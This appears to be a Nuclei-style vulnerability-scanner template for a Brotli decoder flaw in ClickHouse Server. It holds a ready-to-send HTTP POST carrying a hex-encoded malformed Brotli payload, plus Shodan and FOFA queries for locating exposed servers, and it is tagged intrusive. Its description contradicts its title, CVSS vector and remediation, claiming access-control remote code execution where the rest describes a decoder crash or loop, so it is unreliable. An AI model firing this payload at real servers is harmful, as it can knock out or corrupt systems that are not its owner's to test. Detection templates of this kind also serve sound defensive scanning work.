ClickHouse Server - Brotli v1.2.0 Decoder DoS/OOB-Write

id: CVE-2026-116366

info:
  name: ClickHouse Server - Brotli v1.2.0 Decoder DoS/OOB-Write
  author: DhiyaneshDk
  severity: critical
  description: |
    ClickHouse Server contains a remote code execution vulnerability caused by improper access control, letting unauthenticated users with network access execute arbitrary code remotely, exploit requires network access.
  impact: |
    Unauthenticated attackers with network access can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Upgrade to a fixed ClickHouse release that ships brotli v1.2.1: 26.3.62.3-lts, 26.8.36.3-lts, 26.9.27.3-stable, 26.10.3.7-stable or later. brotli v1.2.1 returns a hard BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH (-17) error immediately on invalid block switch, preventing the infinite loop.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116366
    - https://nvd.nist.gov/vuln/detail/CVE-2026-111497
    - https://github.com/google/brotli/compare/v1.2.0...v1.2.1
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.5
    cve-id: CVE-2026-116366
    epss-score: 0.00395
    epss-percentile: 0.33764
    cwe-id: CWE-787,CWE-835
  metadata:
    max-request: 1
    verified: true
    shodan-query: product:"ClickHouse" port:"8123,8443"
    fofa-query: app="ClickHouse"
  tags: cve,cve2026,clickhouse,oob-write,brotli,intrusive

http:
  - raw:
      - |
        POST /?max_query_size=20000000 HTTP/1.1
        Host: {{Hostname}}
        Content-Encoding: br
        Content-Type: application/x-www-form-urlencoded

        {{hex_decode('200010414141fcffff07002228f00b60f7f41f00000000000000000000000000000000000000')}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Code: 448"
          - "BROTLI_READ_FAILED"
        condition: and

      - type: status
        status:
          - 500
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